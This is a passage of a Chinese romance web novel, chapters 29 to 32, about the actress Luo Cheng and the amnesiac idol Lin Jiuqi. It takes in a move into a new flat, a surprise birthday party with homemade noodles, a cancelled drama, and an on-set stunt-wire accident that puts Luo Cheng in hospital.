在二楼的VIP卡座,檀冶默默玩弄着手中的酒杯,坐在他对面的是已经喝的飘忽不定的范少杰。
他身子晃晃悠悠的,手指着檀冶,“檀冶,你等着,我,我还能喝,我们继续。”
檀冶懒得搭理他,嗤笑了声,“又菜又爱玩。”
“这老黄和老詹在搞毛啊,消息也不回一个!”如果不是他俩不在,他至于喝的这么惨吗?
范少杰想想就气,他掏出手机,拨了通电话出去。
“喂,干嘛?”
听到詹江已的声音,范少杰破口大骂,“你丫的在搞毛线?消息也不回。”
詹江已:“在吃饭。”
范少杰头晕乎乎的,他趴在桌上,手机摁开了免提,“你吃饭吃一两个小时啊,来喝酒。”
“在和美人吃饭。”
詹江已的话落入在场所有人的耳里。
檀冶凤眸轻掀,意味深长望向一旁的林久期。
范少杰不依不饶,“见色忘友,跟美人约会就不要兄弟了啊?带着一起来。”
电话那头,詹江已问向洛澄:“范少杰喊喝酒,去吗?”
洛澄:“我就不去了,我回去还有事。”
詹江已:“你不去我也不去。”
两人的交谈被电话这边听得是一清二楚。
范少杰学着詹江已的语气,贱兮兮道:“你不去我就不去,哟哟哟,我们詹大公子什么时候这么温柔了啊。”
“那要看对谁了,行了,你们玩,我不过去了,我一会儿还要送美人回家。”
不想在和范少杰掰扯,詹江已说完就挂了电话。
林久期一直一言不发地坐在旁边,他手里拿着装有白开水的玻璃杯,他抿了一口。
檀冶语调端的散漫,“已经凉了。”
对方似乎在意有所指,林久期幽深的眸底藏着不明分辨的意味,他放下手中的杯子,看着范少杰。
范少杰这会儿抱着手机正在和詹江已发语音,骂骂咧咧的,在控诉詹江已不讲义气。
林久期沉吟片刻,“就他们俩?”
范少杰没听懂,“啥?”
林久期:“吃饭。”
“估计是吧,鬼知道他的。”
范少杰刚说完,胃里翻江倒海,他以最快速度起身冲去厕所。
服务员又重新端来一壶热水。
林久期慢条斯理地续上一杯,热水和冷水交汇在一起,他缓缓喝尽,水温刚刚好。
“溢满则亏。”
他起身离开。
另一边。
吃完饭后,詹江已送洛澄回了家。
洛澄刚进门,正准备换衣服洗漱,手机就响了,拿起一看,居然是林久期发的消息。
【在家吗?】
他居然会主动联系他?
真不可思议。
洛澄有些受宠若惊,但还是回:【在的。】
她正疑惑着林久期什么意思,几分钟后,就听到了门铃响。
透过猫眼看去,洛澄才打开门。
“你怎么来了?”
29. 第29章
“你怎么来了?”
他怎么来了?
林久期也忍不住问自己为什么会出现在这里。
就是突然的,突然一脚油门就到了这。
他也不知道为什么要来,但好像,又觉得自己该来。
林久期沉默了三秒,才道:“电闸和水闸被我关了,怕你们要用。”
浣林小区是一梯一户,每户在走廊都有自己单独的水箱和电箱。
洛澄跟着林久期来到总闸前,“你跟我说一声就行了,还麻烦你特意跑一趟。”
“刚好路过。”林久期锁上电箱,把钥匙给洛澄,“我方便进去吗?”
“方便的。”
两人一前一后进了屋,客厅堆满了她和乔媛媛的包裹,多到即使有一百平的客厅都无从下脚,洛澄有些难为情,毕竟这是人家家里,“还没来得及收拾。”
“这里的东西你们随便用,坏了跟我说,我让人来修。”林久期边走边说,他进到卫生间,在洗手池前蹲下身,拧开阀门,“开关在这里。”
洛澄恍然,怪不得她刚才怎么拧水龙头都没有反应。
正愁怎么解决呢,林久期来的还真是时候。
林久期的房子是六室的,主卧的房门被反锁了,“你们先住着其他房间,主卧的钥匙我后面找时间给你。”
“不用不用。”
主卧在二楼,但光是一楼就有三个房间,虽然是客房,但都够大,完全够住,“睡哪都是一样的。”
“水电费是线上自助缴费,一会儿我把账号发给你。车库停车在物业缴费,有微信群,我拉你进去。”
他几乎把洛澄想知道的问题都一一说了出来。
全部交代完毕后,好像也没什么事了,气氛忽然安静了几秒,洛澄反应过来给了他一瓶矿泉水,知道他不喜甜,也就没有拿饮料,“喝点水。”
“谢谢。”林久期来了好一会儿,但只看见洛澄一人,“就你一人?”
洛澄点头,“媛媛和黄谦出去了。”
虽然别人的感情最好不要插足,但毕竟是自己多年的好友,洛澄还不大清楚黄谦的为人,趁着林久期在,她询问道:“黄谦他人怎么样?”
林久期拧开瓶盖喝上几口,知道洛澄问这话是什么意思,他说的很详细客观,“学历好,家庭条件也不错,没什么不良嗜好,人很有才,很大方,但对女生可能比较直率。”
直率?
潜台词不就是比较直男吗?
也不知道媛媛受不受得了。
洛澄摸着下巴,继续问:“他感情生活丰富吗?”
发现两人一直都是站在聊天,洛澄连忙招呼,“坐着说。”
林久期屈身坐在真皮沙发上,“没谈过恋爱,但有过喜欢的人。”
洛澄:“那现在呢?”
林久期:“现在他不是在和你的朋友相处吗?”
洛澄担心黄谦是渣男,问的直白些:“我的意思是,他以前喜欢的那个人,他现在还喜欢吗?”
林久期:“不喜欢。”
洛澄:“那就好。”
见她放心,林久期竟百无聊赖地开起玩笑,“我这么说,你就信了?你不怕我为了维护朋友形象而骗你吗?”
洛澄想都没想,脱口而出:“你说的,我都信。”
林久期温朗一笑,“这么相信我。”
洛澄:“自然了。”
闻言,林久期的目光静静停注在她身上,这几句话仿佛烙在了他心底,他唇角不禁染上淡淡的笑意。
“你怎么都是替别人问的,不问问关于你自己的吗?”
洛澄没听懂他的言外之意,她盘腿坐在沙发上,伸手拿过毛毯盖在身上,“我有什么需要问的。”
林久期意味不明地看她,“你不想知道詹江已的事情吗?”
“他?”洛澄有些困惑,“我为什么要知道他的事情?”
林久期:“你们不是也在相处吗?”
“?”
洛澄被自己口水呛着,连连咳嗽好几声,这相处二字实在不能用在他们身上,“我们只是朋友,跟媛媛他们不一样。”
“怎么不一样呢?他不是已经和你表白了。”
没想到林久期会问这件事,洛澄着急辩解:“他是表白了,但是我跟他说清楚了的,我和他只是朋友而已。”
林久期再一次语出惊人,他语气轻描淡写,像是随口一问,“你不喜欢他吗?”
洛澄吓得从沙发上跳起来,“当然不喜欢了!”
这误会真是误会大了,她什么时候表现出她喜欢詹江已了?
难道是因为网上那些铺天盖地的CP粉?
可那都是假的啊,都是为了流量的炒作。
林久期微顿,转而又温柔笑开。
见他模样,洛澄以为他不信,又强调了一次,“我根本就不喜欢他,一点都不喜欢,真的。”
林久期轻“嗯”一声,“我知道。”
两人正说着,门口传来密码解锁的声音。
乔媛媛一开门,发现房间里敞亮,而客厅里正坐着两人,“你们这是?”
洛澄闻声往玄关处瞧,发现回来的不仅乔媛媛一人,她身后还站着刚才的话题者之一,黄谦。
“你这是?”
乔媛媛声音不大,语气听着都很心虚,“太晚了,我一个人回来不安全。”
洛澄拖着腔调,调侃着:“哦,不安全哦。黄老师,辛苦了。”
被抓个正着,黄谦也有些不好意思,但当他看到客厅端坐着的林久期后,他底气一下就足了,“久期,你怎么在这?”
“是啊,林久期,这大晚上的你怎么在这里?”
乔媛媛说这话的时候完全忘记这里是林久期的家了,她只想转移话题。
洛澄刚想解释,林久期率先开口:“帮忙搬家。”
洛澄本意就是想瞒着别人,他们租的是林久期的房子,怕传出去了生事端。
看来他也没想让别人知道。
黄谦跟着乔媛媛进屋,“白天不是都搬完了吗?”
洛澄连忙找补,“我还有些东西忘记拿了,才麻烦的九七。”
“久期?”黄谦第一次听到洛澄直呼林久期的名字,有些诧异。
洛澄嘴快了,下意识就习惯的说出了口,她不由朝林久期看去,他看起来好像并没有不高兴。
林久期看了眼腕上手表的时间,“不早了,我们先走了。”
洛澄跟着起身,“我送你们。”
林久期婉拒,“不用了,你们早点休息吧。”
林久期和黄谦一同离开的浣林小区。
黄谦上了林久期的车,“久期,我去你家借住一晚,我老爹回来了。”
林久期用最温柔的语气说着最扎心的话,“被赶出来了。”
“什么叫被赶出来,你真是跟檀冶待久了,说话一样刺人。”黄谦无语,睇了他一眼,“我是自愿出来的,自愿好吗?他一回家就要唠叨我,让我赶紧找女朋友赶紧结婚,想抱孙子。”
黄谦在TheOne里是年龄最大的一个,但也不过才二十四岁,年纪轻轻就已经到了被催婚的地步。
“我家老头子也不知道咋想的,我都觉得我自己还是个孩子,他居然让我生孩子。”
黄谦一句接着一句的吐槽,林久期也只是静静听着。
这种被家里人念叨的烦恼,他从来没有体会过。
-
洛澄和乔媛媛光是收拾行李就收拾了好几天。
家里终于腾干净了,看着舒服了不少,好在屋子干净,不需要她们再费力打扫一遍。
连续忙了好一段时间,洛澄已经许久没去健身房了,趁着这天早上没什么事,她六点就起床出门了。
健身房就在浣林小区附近,临近早晨9点,人越来越多。
洛澄看时间也差不多了,再健身房冲了个澡就离开了。
正准备去附近逛逛,瞅瞅有没有什么早餐店,刚从健身房出来,就在楼底碰见了林久期。
他穿着白色的短袖,脖颈处挂着条白色毛巾,额角的汗渍浸湿了碎发,像是才晨跑回来。
“林久期。”
林久期闻声停下了脚步,洛澄从街对面跑过来,“你住这附近?”
若不是住在这周围,又怎会在这里跑步。<
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林久期笑而不语,看洛澄的打扮,也像是才锻炼完的,“去健身房了?”
“嗯,刚结束,准备去吃早餐,一起吗?”
“不了,我还有事。”
两人打了照面后便各忙各的去了。
洛澄买好早餐回家,乔媛媛刚好起床从房间出来,“小洛澄,晚上我们一起去外面吃饭呗。”
洛澄先是想了下今天也没其他事,索性答应了,“好。快洗漱来吃早餐。”
“我都洗漱好了。”乔媛媛拉开椅子坐在餐桌前,“那下午一起化个妆。”
洛澄喝了口海鲜粥,“就咱俩没啥好化的吧。”
“化个呗,今天天气这么好。”
顺着乔媛媛的话,洛澄不禁向窗外瞟了眼。
蔚蓝天空之上骄阳绚丽,晴云飘浮,确实不错。
-
高照的艳阳到傍晚才悄悄从西边退去。
乔媛媛领着洛澄一路从饭店门口直奔包厢,看样子是早早就预定好了。
两人跟着服务员七拐八弯的才到。
推开门的一瞬,礼花在门的两侧响起。
“surprise!生日快乐!”
詹江已和郑巧儿一左一右,两人手中的礼花筒里喷出来五彩斑斓的碎片纷飞。
洛澄被吓一哆嗦。
她瞅了眼旁边笑呵呵的乔媛媛,看来她们早就计划好的。
郑巧儿拉着洛澄往里走,“洛学姐生日快乐。”
生日……
洛澄自己都忘了,原来7月12日,是她的生日。
她已经很久没有过过生日了,身边的人都在祝贺,她这分钟还有些不适应。
詹江已提着礼物袋给她,“祝美人十八岁生日快乐。”
“哟,还得是咱们老詹会说话。”范少杰打趣着,把手里的礼物也给了洛澄,“那我就祝你长命百岁吧。”
“?”
这词是这么用的吗?
洛澄脸上挤出一抹无奈的笑,“借你吉言啊。”
黄谦和郑巧儿也纷纷送上自己准备好的礼物。
乔媛媛附在她耳边,“我的礼物在路上。”
她神秘兮兮的模样勾起了洛澄的好奇心,忍不住在想她究竟准备的什么礼物。
人都到齐了,几人围坐在桌前有说有笑,聊着家长里短。
范少杰突然提道:“久期呢,他不来?”
黄谦坐在靠门的方位,他身子往旁边挪了挪,让服务员端盘上菜,“他今天有事。”
洛澄听见后敛了敛眸,想着范少杰和黄谦都来了,本还期待着林久期也能来,可结果看来并不随人愿。
乔媛媛看了眼手机,跟洛澄说了句,“礼物到了,我去拿一下。”
“好。”
洛澄手拿过橙汁,给在座的人都倒上,“今天谢谢大家来给我过生日,破费了。”
范少杰“害”了声,“就不用谢我了,这主要是乔媛媛和老詹准备的。”
洛澄投来目光,詹江已把身子坐正了些,但也不揽这人情,“跟我没啥关系,是乔媛媛策划的,她说你今天过生日,想大家一起高兴高兴。”
范少杰接话,“老詹你谦虚啊,这订餐厅,布置酒店,不都是你在忙活。”
黄谦:“这我能作证,洛澄,詹江已他知道你今天过生日,提前几天就开始计划了。”
大家都知道詹江已对洛澄上心,所以做为兄弟也从中帮忙促进下两人的关系,都在为詹江已说好话,况且他们说的也都是实情。
郑巧儿举手,“我也作证。”
听着他们话赶话的,洛澄说不感动都是假的,她站起身端杯敬詹江已,“这么多天真的辛苦了,你以后但凡有任何需要我的时候,我随时在。”
詹江已受宠若惊,也跟着起了身,“什么辛不辛苦的,你要是再这么客气,可就是拿我当外人了啊。”
洛澄莞尔一笑,“感谢的话就不说了,都在杯里。”
詹江已:“这才对嘛。”
两人碰杯,一饮而尽。
就在此刻,包房的门被人推了开,乔媛媛吆喝着进来,“礼物到咯!”
30. 第30章
“礼物来咯!”
随着一声话落,所有人的视线都移向了门口。
乔媛媛让开身,穿着灰色格子衬衫和休闲裤的林久期从外面款步而来。
那身理工男的穿搭在他身上却格外亮眼,周身透着股高贵不凡的气息。
洛澄心脏仿佛停了两拍,随后剧烈跳动,如锣鼓喧天,惊涛骇浪。
他双手端着一碗热气腾腾的面条,径直朝她走来。
洛澄迟迟移不开眼,似乎有一丝雀跃和惊喜在心底那片湖泊中泛起涟漪。
在所有人的欢呼中,林久期将手上那碗面放在她桌前,他薄唇微扬,“生日快乐。”
时隔四年。
她再一次亲耳听到了他这句,生日快乐。
望着他那双比满天群星还要璀璨的眼眸,宛若能把她拉入漩涡中,不觉沉沦。
洛澄眼睛都不眨一下,郑巧儿在旁边小声提醒,“洛学姐,洛学姐你说话呀,怎么了?”
洛澄急忙撇开视线,生怕露出半点少女心思,她的脸不禁一红,“谢谢。”
“这是林久期亲自做的哦。”
乔媛媛特意把“亲自”二字加重了音量。
林久期嗓音里的笑意酥酥麻麻的,“可能不大好吃。”
洛澄脸上还有淡淡的红晕,她拾起筷子尝上一口,咸淡可口。
味道还是和以前一样。
在所有人期待的目光下,洛澄说道:“很好吃。”
范少杰忍不住开腔,“久期,我生日的时候我也想吃你做的面!”
林久期笑言:“没问题。”
周围的人叽叽喳喳一片,洛澄抬起脑袋凝视着林久期,他清俊的脸上笑容可掬,和其他人说着话。
笑声在空气中荡漾,而洛澄的眼里只有他一人,是她一人的兵荒马乱。
好像什么都变了,又好像什么都没变。
这一刻像是回到了从前,回到了那个有他的生日。
感受到洛澄的目光,林久期偏头看来。
他那双桃花眼自带深情,眉眼弯弯,恍如一汪春水快要溢出来了。
洛澄慌乱中错开眼,不敢与他目光相交,她故作镇定看向旁处,掩饰着自己心底的悸动。
吃完饭后,洛澄知道一家环境氛围很好的露天烧烤店,还能唱歌,她请所有人一同去玩。
一坐下来,店家就抬上来几箱啤酒。
范少杰嚷嚷着:“不醉不归!”
话是这么说,第一个喝醉的就是他范少杰。
他光是跑厕所吐就已经跑了三四次了,在他又一次从厕所吐完回来,他又给自己开了瓶啤酒,“来来来,继续!”
黄谦也不知道这酒到底有多上瘾,吐成这样还要继续,也不怕自己喝进医院。
不过范少杰不是没干过这种事。
范少杰是去年大学毕业的,记得他毕业当天,就是因为兴奋过度,喝酒过量,当晚就喝出个肠胃炎,因为吐血进了医院急诊。
当时他住院好几天,哼哼着自己再也不会喝酒了。
结果出院的第二天他又在自己开的酒吧喝了起来。
这家伙真是好了伤疤忘了疼,黄谦扶额,“酒蒙子。”
范少杰轻推了下他,“老黄你嘀咕啥,说我坏话呢!”
黄谦皮笑肉不笑道:“哪敢啊,我说我们杰少酒量真不是盖的,你敢称第二没人敢称第三。”
范少杰:“你这话怎么听着这么不像好话。”
黄谦:“你的错觉。”
其余人掩面咯咯笑着。
范少杰也不知道哪根筋抽了,突然提了一嘴,“话说啊,洛澄生日居然和久期出车祸在同一天,你们说巧不巧。”
“……”
要说黄谦直,他这会儿觉得范少杰比他还直。
不,是比较没脑子。
黄谦抓起一颗葡萄塞进范少杰嘴里,恨不得堵住他的嘴,“你好好的说这个干什么。”
黄谦压低声音,下意识往不远处靠在天台栏杆看风景的林久期那边瞥一眼,见他在和洛澄聊天,应该是没听见,才舒口气。
林久期从那场车祸后就什么也记不得了,他这些年自己去过很多地方,试图想找回遗失的记忆,可都是徒劳。
他跟范少杰也只是在他高一成团时才认识,那个时候每天都在忙于工作,生活方面很少涉及。
再之前的事情,也只有檀冶知道一些。
可檀冶又是个嘴巴严的,很多事情不知道他是不愿意说,还是他不清楚。
特别是林久期问起他的父母家人时,檀冶只说了他父母已经意外过世以及祭日,其余的,他闭口不提,只有一句:“我不清楚。”
时间久了,林久期也就不再问他了。
虽然他嘴上不说,可他们这些兄弟也清楚,他很在意。
范少杰意识到自己说错话了,赶紧闭紧了嘴。
乔媛媛闷声喝尽一杯酒。
不光林久期在意,她的小洛澄也很在意啊。
郑巧儿发现气氛不对,拿起骰子,“我们来玩游戏吧。”
听到那边已经玩起了游戏的声音,其乐融融,洛澄心里也高兴。
“久期。”
林久期望着远处的高楼大厦,“怎么了?”
洛澄:“谢谢。”
林久期:“谢我什么?”
“那碗面。”
林久期扯开话题,“有个东西给你。”
那句“什么东西”还没说出口,只见林久期从他背着的背包里拿出一个精致包装的礼物盒。
礼物盒里是一块玲珑剔透的翡翠玉镯,底色纯净无偏。
洛澄早就发现了他今天来的时候背了一个黑色的包,没想装的是给她的礼物。
洛澄欣喜若狂,第一时间就拿出来戴在了手腕上,她乐得跟吃了蜜饯一样,“谢谢!”
林久期喉间溢出低低的笑声,“生日快乐,祝你长命百岁。”
“……”
现在年轻人的祝福语都这么朴实无华吗?
“你和范少杰不愧是兄弟。”
说的话都一模一样。
这话还是林久期从乔媛媛口中听到的。
他没说话,就算是默认了。
洛澄看向林久期。
他身形清瘦笔直,月光昏晕,倾泻在他身上,像蒙上了一层纱,将他整个人晕染如画。
他俊逸的脸上含着毫不遮掩笑意。
拿她取乐吗?
洛澄撇了撇嘴,“林老师,关于出演男主角的事,你考虑的怎么样了?”
林久期:“……”
-
一帮人玩到凌晨三点才散场。
回到家,乔媛媛从房间里拿出礼物给洛澄,“小洛澄,生日快乐!以后也要继续做一个快乐的小姑娘。”
乔媛媛安排的这一切她已经很惊喜了,她知道,林久期能来,肯定也是因为她。
洛澄眼眶微红。
乔媛媛走上前一把抱住她,“这么高兴的日子,不准掉小珍
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珠。”
洛澄吸了吸鼻子,拆开礼物盒,里面放着一个大红包,他疑惑地皱了下眉,打开红包,里面是一沓刮刮乐彩票。
乔媛媛:“暴富以后可不能忘了姐妹啊。”
洛澄被逗笑了。
她生平还是第一次收到这么特别的礼物,“媛媛,谢谢你。”
“生疏了啊,要真想谢我,就快点挣大钱然后包养我。”
“行,那我努努力。”
洛澄想起什么,问:“话说,你是怎么劝动林久期来我的生日聚会的?”
她记得黄谦不是说过林久期今天有事要忙吗?
乔媛媛撩了下头发,“不告诉你。”
-
搬家那天。
乔媛媛拉着黄谦先跑了。
黄谦纳闷他自己从来没说过自己要和她探讨工作,但后面才懂,原来是为了让詹江已和洛澄单独相处。
两人坐在黄谦的车内。
黄谦:“我们去哪?”
乔媛媛:“你能带我去见林久期吗?”
找久期干什么?
虽然不解,但黄谦给林久期打了电话,得知他在工作室时,便带着乔媛媛去了他的工作室。
“什么事?”
林久期正在办公室和助理谈工作,两人来后,助理便先出去了。
“是我要找你。”乔媛媛转而朝黄谦说:“我找他说点事,你可以先出去一下吗?”
得,他成工具人了呗。
“行,你们聊。”
黄谦离开时顺带关上了办公室的门。
林久期倒了杯水给她,“坐吧。”
“谢了。”乔媛媛接过水杯,直入正题,“7月12号是洛澄的生日,我希望你能来。”
林久期坐在旁边的单人沙发上,听着乔媛媛继续说。
“我知道你失忆了,所以现在的小洛澄对你来说或许只是一个同事,但这只是对你,对她来说,你依然是她非常重要的人。”
林久期心里默念。
重要的人。
不由回忆起他前段时间询问洛澄他们是什么关系。
而洛澄的回答——
是特别的人。
他一直不明白他们究竟有多特别,“是情侣吗?”
“呃……不是。但是从初中开始,你们的关系一直都很好,几乎可以说是形影不离,她每年过生日你都在,还会帮她煮面……”
听着乔媛媛说着过去的那些事,林久期像是在听一个关于陌生人的故事。
他没办法与之共情,那些所谓他和洛澄的经历,他没有一点记忆。
“从你出事开始,她已经四年没有过生日了,她一直觉得是她间接导致你出了车祸,她很自责。”
乔媛媛恳请道:“她这次生日可以麻烦你也到场吗,耽误不了你多少时间的,你就当是帮我一个忙。”
林久期没有说话,乔媛媛有些着急,怕他不愿意,“也当是帮曾经的林久期一个忙。”
她站起来,深深鞠了个躬,“拜托了。”
……
乔媛媛口中的礼物,其实就是来到现场的林久期。
她觉得人能到已经是非常难得了,在收到林久期发的他到门口的信息时,她差点激动得没忍住笑出来。
让她万万能想到的时,她出去接林久期时,他居然说了句。
“去厨房吧。”
乔媛媛有些摸不着头脑,“去厨房干什么?”
林久期:“煮面。”
31. 第31章
八月份,洛澄所在剧组持续了3个月的剧终于收官了。
洛澄和剧组的人一同参加了庆功宴。
吃完饭后大家没玩开心,又组织着去livehouse听歌喝酒。
洛澄借着家里有事便先先一步走了。
没想到家里灯火通明,乔媛媛和郑巧儿在家里给她开party。
“恭喜洛学姐,第一部戏圆满收官!”
砰的一声,郑巧儿拉开啤酒罐的易拉环,“祝洛学姐以后的戏路越走越宽。”
“谢谢,那也祝你日后的工作步步高升。”
乔媛媛实在听不下去了,打断二人,“停停停,请停止你们的商业互捧。”
“这是美好的祝愿啦。”郑巧儿凑到乔媛媛身边,“媛媛姐,我可是你的忠实读者,你跟我透露透露,你下一本小说什么时候开更?”
乔媛媛挺直腰杆,清了清嗓子,“已经在全文存稿了。”
郑巧儿“哇”的一声,那双透黑的大眼睛发亮,“那能不能先让我一睹为快?!”
“那不行,这可是商业机密,不过……”乔媛媛故作卖弄关子,“我可以提前告诉你我写的是哪一本预收文。”
郑巧儿从许多年前就一直在某网站上看乔媛媛连载的小说,她目前名下有好几本待更新的预收文,郑巧儿都喜欢得不得了,光是文案都能倒背如流。
“《绝欢》、《睁开眼》、《梦清记》,还是那本《只要你不说爱我》?”
郑巧儿像报菜名似的,几乎把每一本预收文名都念了一遍,可她还是落了一本。
“都不是。”乔媛媛拆开包柠檬味的薯片,“是《风会告诉你》。”
洛澄坐在地毯上,头靠着沙发垫,根本没听她俩在聊什么,她注意力全在手机上。
她拍了张茶几上堆满啤酒和零食的照片,发送了出去。
【姐妹局。】
【在干嘛呢?】
洛澄伸手拿了罐啤酒,刚喝一口,手机就响了,没想到林久期居然秒回了。
【写歌。】
洛澄嘴角情不自禁弯起,【你听过《四年》吗?】
她打开音乐软件,找到这首歌分享给他。
林久期几分钟后回复:【听过,你写的。】
——写给你的。
本来编辑好的这几个字,犹豫了下,洛澄又给删了,重新发了一条:【是啊,好听吗?】
林久期:【好听。】
“干嘛呢?”
乔媛媛碰巧歪头过来,一眼就看到了洛澄的手机界面,啧啧几声,“怪不得不跟我们说话,原来心思都离家出走了啊。”
洛澄收起手机,娇嗔着:“怎么还偷看。”
“你别冤枉人,我可不是故意要偷看的。”乔媛媛冲着她挤眉弄眼,“在聊什么啊,这么怕被看见,说了什么见不得人的暧昧话题呢?”
“暧昧”俩字被郑巧儿听了去,八卦的心思止都止不住,“暧昧?和谁暧昧?洛学姐有暧昧对象啦?”
洛澄的耳朵渐渐发热,“大人的事小孩子少打听。”
郑巧儿:“我成年了。”
乔媛媛附和:“就是,人家成年了。”
她俩一唱一和,洛澄懒得搭理,伸手拿过一包奥利奥饼干吃了起来。
乔媛媛也好奇得紧,“说说看嘛,你和林久期现在是什么情况,你们都聊了什么?”
“啊?!洛学姐的暧昧对象是林久期?!”
郑巧儿激动的声音大到似乎能把房檐震碎了,洛澄被她吓了一跳,身子一扑就去捂住了她的嘴。
虽然这屋子里就她们三人,但窗子没关,有邻居啊。
这房子隔音应该不至于这么差,但她也是真怕她明天就上了微博热搜。
洛澄皱着脸,“小点声。”
郑巧儿连连点头。
洛澄这才松开手。
面对她们直勾勾的视线,洛澄摆摆手,“别乱想,我和他现在只是很普通的关系,刚才也就随便聊了下工作的事。”
乔媛媛眼神里透着“你撒谎”几个字。
都不用她拆穿,洛澄自己都快编不下去了,“只是随便聊两句。”
郑巧儿摸着下巴,天真无邪的表情说着:“只是暧昧的聊了两句。”
“……”
-
洛澄这段时间心情都很好。
她现在最期待的就是自己第一部作品能尽快上映。
可这世间总是有太多的不确定。
老天像是在跟她开玩笑,剧组才收官一个月,洛澄出演的那部男主角就被曝出他偷税漏税,当即就被封杀。
待播的电视剧也就此夭折。
某男明星偷税漏税这个标题在微博热搜霸榜了好几天,洛澄看一次心梗一次。
明明只差一点,她就能以演员洛澄的身份出现在大众视野了。
有网友支招,有的说换男主角再拍一次,也有的人说用AI换脸把男主角替换掉。
说什么的都有,因为对于他们来说不过当是一时的八卦消遣。
只有洛澄知道,再拍一次根本就不现实。
为了这部剧,潘导把自己的房子都抵押出去了,现在倒好,人财两空,亏了一个亿,直接破产,哪还有资金再来一次?
怕洛澄想不开,吕菲找了个时间把洛澄喊来了公司,开导一二。
洛澄:“放心吧菲姐,我没事的,我还年轻,有的是机会。”
吕菲:“你能这么想我就放心了。”
洛澄始终面带微笑着,旁人根本看出有任何不妥。
但小玲心里比谁都清楚,为了这部剧洛澄比谁都拼,怎么可能真的没事。
“澄姐,我知道一家特别好吃的烤肉店,我请你。”
知道小玲是在担心她,洛澄装作没事,半开玩笑着:“我最近减肥呢,可不兴吃烤肉。”
两人刚走出盛兴传媒的大楼,赵芮情迎面而来。
“洛澄?这么巧啊。”
她踩着细高跟,步伐扭捏地走到洛澄身边,手轻拍了拍洛澄的肩膀,看似安慰,但语气里满是冷嘲热讽,“听说你的新剧被禁播了,别难过,人嘛,总是起起落落,看开点。”
洛澄奇怪地看向小玲,“小玲,你有没有听到什么声音?”
小玲“啊?”了下,“什么声音啊澄姐?”
就连赵芮情也被洛澄莫名其妙的话给说懵了。
洛澄凝着眉,左右看了看,但目光就从来没有落在赵芮情的身上过,她一副迷茫的神色,“真奇怪,我刚才怎么听到有只苍蝇在耳边叫唤,你听到了吗?”
小玲立马会意,纠正道:“澄姐你听错了,不是苍蝇,是狗叫。”
赵芮情:“……”
两人一边说一边走远。
身后传来赵芮情恼羞成怒的声音,听不清她说了什么,只当狗叫。
-
郑巧儿也得知洛澄新剧夭折的事情,她刚从外地出差回来,一下车就去了洛澄家里。
她这趟来不仅带了
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不少的外地特产,还带来了新剧资源。
可洛澄不想这样,她知道郑巧儿是一片好心,但她会觉得是在可怜她。
洛澄没有应下,乔媛媛清楚她在想什么,她替洛澄回绝,“巧儿妹子,你的心意我们小洛澄领了,但是走关系进去,难免会被别人说闲话的。”
“这不是走关系呀。”
郑巧儿看她们都误会了,连忙说:“我只是推荐洛学姐可以去试镜看看,这个导演和别人不同,他不在乎咖位,他只要有真本事的人。”
听她这么一说,洛澄动心了。
隔天就去到了试镜现场。
意外的是当天晚上就收到了试镜通过的消息,虽然只是个配角,不过洛澄已经很满意了,细水长流,她慢慢来。
面上的是个古装剧的刺客角色,几乎都是打戏。
从开拍以来,洛澄每天都跟着武术指导老师,拼了命的学习、练习。
“洛老师,一会儿追兵过来,你要从这个位置跳下去……”
这部剧基本都是实景拍摄,洛澄站在岩石上,虽然只有六七米的高度,但她光是往下看了眼,登时一阵眩晕感袭来。
“洛老师,听明白了吗?”
导演的声音让她缓过神来,“明白了。”
她看上去十分镇定,但后背已经开始冒冷汗了。
一切准备就绪后。
“第九场第一镜,action.”
戏里。
洛澄扮演的刺客穿着一身黑衣,但左边肩膀的衣服被划破,鲜红的血液不断从里渗出,她另一手捂着,迈着承重的步伐拼命向前跑。
她蒙着面,看不出什么神情,但额头布满了密密麻麻的汗水。
镜头一转,骑着战马的士兵从树林里狂奔追了出来,为首的统领架起弓箭,“梁安,你跑不掉了!”
脱了弦的箭极速般射向梁安。
在武术指导下,弓箭不偏不倚射在了她的脚边。
跟随着镜头,洛澄已经跑至崖前。
统领骑在马背上,下最后的通牒,“你现在束手就擒,我还能保你一个全尸。”
“你算个什么东西?”
梁安唇角勾起讽刺的笑,眼里的嘲讽不言而喻,“你不过就是靖王世子养手底下的一条走狗。”
“你!”统领眉毛竖起,“你别敬酒不吃吃罚酒!”
洛澄那张傲慢至极的脸,让人根本无法发现她此刻心里的不安。
按照接下来的剧情,她应该从悬崖上跳下去。
这边正在拍戏,詹江已跟着剧组的工作人员走来,有人瞧见他,刚要张口打招呼,他纤长的食指附在唇瓣上,做了一个噤声的动作。
他凑巧在这附近办事,知道洛澄在这里拍戏,便来探探班。
詹江已不便上前打扰,就站在不远处,望着前方拍戏的洛澄,他眉宇轻挑。
没想到美人也是块演戏的料。
镜头对准洛澄,她冷哼一声,不再与对方多费口舌,她背过身去,虽然身上有威亚,可手指还是控制不住地在发颤。
她感觉头皮发麻,一咬牙。
随后,她纵身一跃。
导演当即喊咔,“好极了!”
镜头就停在洛澄跳下去的一瞬间。
这么多天下来,洛澄的演技他都看在眼里,这场戏能一条过他,他着实也有些意外,拍手叫好。
可就在这时,倏地,威亚脱离滑轨,还在半空中的洛澄突然急速坠下。
“洛澄!”
32. 第32章
“让一让,让一让!”
医护人员推着担架上的洛澄进入抢救室。
“洛澄她怎么了?!”
乔媛媛冲了过来,她抓着詹江已的手,哭丧着:“你说话啊,怎么回事啊?!”
“拍戏的时候,出了意外,从……”詹江已沉着脸,哽咽着,“从五米高的地方,摔了下来。”
“……”
乔媛媛一阵耳鸣,身子一倒,晕了过去。
等她醒来时,抢救室外来了不少人,各个面如死灰,抢救室的指示灯还亮着“手术中”几个字。
导演也来了,“对不对对不起,都是我们的失误。”
“道歉有用吗?道歉能让她平安无事吗?!”
乔媛媛声嘶力竭地喊着,扫视着在场的所有人,她从椅子上站起来,到詹江已跟前,“她会没事的,对不对?”
詹江已勉强扯着嘴角,刚才血淋淋的画面历历在目,“会没事的。”
时间一分一秒的过去。
乔媛媛双手合十地蹲在抢救室门口。
作为坚定的唯物主义者,她从不信神佛,可她现在一遍又一遍地祈求佛祖。
拜托了,拜托了,一定要平安无事。
佛祖似乎也听到了她虔诚的祷告,手术室的门被打开。
医生:“手术很顺利,患者已经脱离危险了。”
听到这句话,乔媛媛放下一口气,眼泪啪嗒一声掉在地板上,她慌忙起身,跟着医护人员去到病房。
詹江已则是去办理住院手续。
-
洛澄威亚受伤的事很快就上了热搜,媒体和网友对此都非常关心,有不少媒体想拿第一手资料,都蹲守在医院外。
吕菲也出面表示,洛澄已经无事,需要在医院静养,希望大家都不要过多叨扰。
既然人家都这么说了,各家媒体们也非常懂事,纷纷撤离医院。
